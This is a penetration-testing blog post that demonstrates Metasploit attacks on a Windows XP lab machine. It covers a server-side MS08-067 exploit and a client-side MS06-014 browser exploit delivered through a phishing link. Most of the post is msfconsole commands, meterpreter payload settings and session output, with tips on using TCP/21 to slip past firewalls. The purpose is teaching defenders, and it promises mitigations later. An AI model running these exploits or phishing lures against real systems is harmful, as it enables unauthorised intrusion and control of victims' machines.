Client side exploitation attacks

Let’s take a short break from Sourcefire and talk a little bit about client side exploitation. Don’t worry, we will go back to SF soon.

So, what is client side exploitation? Well, let’s talk a little bit about “regular” exploitation. Perhaps it’s wrong calling them server side exploitations, because we can use them to attack or exploit client machines as well. Of course, if we were strict, then we could not call client side exploitations “client“, because we can use them to exploit servers as well. Quite a confusion? Not for a long…

We can think about server side exploitation as if an attack came from some PC on the Internet towards a server, laptop, PC or whatever, that is sitting in our network. To be precise, the attacker does not have to be on the Internet, or untrusted network, while the victim is on the internal LAN, or trusted network. They both can reside on the same network, but important thing to know about this type of attack is that we are sending some data from the attacker to the victim hoping that we will achieve a buffer overflow or something similar that will allow our payload to execute and make this victim machine available to us to do whatever we want.

Let’s illustrate this scenario.

We will use the XP machine as a victim and Kali box as an attacker machine. I know, I know, hacking XP is lame, but it will illustrate concepts just fine. Same concepts apply to any other operating system, we only have to find a vulnerability to exploit.

So, this is our network:


On the left hand side, we have an ordinary user, minding his business. On the right, our attacker is happily using Kali Linux and Metasploit framework (or any other appropriate tool). In the middle, we can see that the firewall on user’s PC (or somewhere in between) is disabled or there is no firewall at all. This is important for server side exploitations. If all ports are closed, than we don’t have any service to attack. If you ever wonder why we should have a personal firewall turned on, this is why. Now, I’m not saying that we are safe with the firewall on, but it’s much better with it than without it. Anyhow …

Let’s start our MSF:


Then we search for the most used vulnerability of them all – ms08_067_netapi and we set basic parameters as follows:

msf >
msf > search ms08_067_netapi
Matching Modules
msf >
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > set RHOST
msf exploit(ms08_067_netapi) > set LPORT 54321
LPORT => 54321
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) >

This blog is not about Metasploit, but in short: we selected our XP as a target, and we will be using MS08-067 vulnerability to send a meterpreter payload to the victim. This payload is a peace of code that, when executed,  will listen on port TCP/54321 on the XP box. This payload will allow us to control remote system. Let’s now run our exploit:

msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > run
 [*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP – Service Pack 2 – lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability…
[*] Sending stage (885806 bytes) to
[*] Meterpreter session 1 opened ( -> at 2015-09-07 10:55:55 +0200
 meterpreter >

We can see that se session is opened from Kali Linux to the XP ( ->

The unsuspecting victim can verify this as well:


Now, let’s enable our personal firewall and try our exploit again:

msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > run
[*] Started bind handler
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (
msf exploit(ms08_067_netapi) >

Clearly, the attack failed, because the vulnerable service we used to exploit is not available any more.

From the victim’s stand point, this is a win situation, but what about attacker’s perspective? This is where client side exploitation comes into play.

Instead of hacker attacking a service, he/she will trick an user into attacking his/hers own PC. The logic behind this? We use social engineering or spear phishing to lure an user in opening a mail that contains a link to our exploit code. When the code downloads and runs, it opens a connection to the attacker’s box. Because it is safe to assume that all (or at least most used) ports are opened from PC to the Internet, this is a way to obtain access to user’s PC. For example, user will use TCP/80 port to collect the exploit, and then, once exploit runs, it will connect to attacker box with port TCP/21. When it comes to services that will be attacked, it could be browser, Adobe or Java plugin or something like that. One note about using ports such as TCP/21 or  TCP/25 for control channels. Some firewalls inspect protocols running on these ports. One such firewall is Cisco ASA. This means that the ASA will drop the traffic going through the SMTP port which is not SMTP traffic. Reasonable enough.

So, let’s try our client side attack now.

First, on Metasploit we select appropriate exploit. This is the most difficult part, because there are many exploits and many application versions on client side that can be exploited. We should know about user’s PC, what OS he/she is using, what browser type and version and so on. For our example, we know that our client’s XP/Browser has MS06-014 vulnerability that we can exploit. We search for that in the MSF. We could also search for a part of the exploit name:

msf > search MS06-014


msf > search ie_createobject

We will be returned “exploit/windows/browser/ie_createobject“. We will go ahead and configure MSF for this exploit:

use exploit/windows/browser/ie_createobject
set PAYLOAD windows/meterpreter/reverse_tcp
set SRVPORT 80
set LPORT 21

Before we run this exploit, let’s see what we just typed in. First, we selected the exploit we know will work on client’s PC. Then we select appropriate payload. Because the user is behind the firewall, we cannot use “windows/meterpreter/bind_tcp“, but instead we will use “windows/meterpreter/reverse_tcp” which will open the control channel from the PC to us, instead of us opening this channel to the PC. With SRVHOST we specify our IP address and with SRVPORT a port on which our box will listen for client’s connections for the sake of downloading the exploit. Once the exploit is downloaded and ran, then it will connect to our IP address listed by LHOST and port given by LPORT. So, SRVHOST/SRVPORT combination is used to host the exploit that client will download and run, while LHOST/LPORT pair is used to host the code for control channel. Both connections are coming from the client to the attacker. A perfect way to avoid personal firewall.

To summarize, user will click the link he/she is tricked to click, and will connect to attacker’s box to port TCP/80. From there the user will collect the specified exploit which will be executed on user’s PC. Once the exploit is run, it will connect to attacker’s IP address and port TCP/21 to establish a control channel. Through this channel the attacker controls user’s PC. Let’s run the exploit:

msf exploit(ie_createobject) >
msf exploit(ie_createobject) > run
[*] Exploit running as background job.
[*] Started reverse handler on
msf exploit(ie_createobject) > [*] Using URL:  httx://
[*] Server started.
msf exploit(ie_createobject) >

Now we wait for a user to open the link we sent. Once this happens, we can see that in the MSF:

msf exploit(ie_createobject) >
[*]    ie_createobject – Sending exploit HTML…
[*]    ie_createobject – Sending EXE payload
[*] Sending stage (885806 bytes) to
[*] Meterpreter session 1 opened ( -> at 2015-09-07 14:51:47 +0200

msf exploit(ie_createobject) >

This, again, can be verified on the user’s PC with the netstat command which will show a connection from PC to Kali box from some random port to port TCP/21.

From the above output, we can see that the control connection is opened, and we can view active sessions:

msf exploit(ie_createobject) >
msf exploit(ie_createobject) > sessions
Active sessions
  Id  Type                   Information        Connection
—  —-                   ———–        ———-
1   meterpreter x86/win32  XPSP2\ceh @ XPSP2 -> (
msf exploit(ie_createobject) >

And with “sessions -i 1” we interact with the session number one:

msf exploit(ie_createobject) >
msf exploit(ie_createobject) > sessions -i 1
[*] Starting interaction with 1…
meterpreter >


In this blog we described the client side attacks or exploitations. We used the old XP box with the old IE, but the same principal applies to any combination of operating systems and client applications running on them.

It’s obvious what needs to be done in order to prevent this kind of attack: patch our systems and applications and train our users about risks that social engineering and phishing attacks involve. But, because we don’t trust our users and our technical support team that much, we will see how to mitigate the client side exploitation attacks with Sourcefire.

See you soon.


This entry was posted in Metasploit, PENTEST, Security and tagged , , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s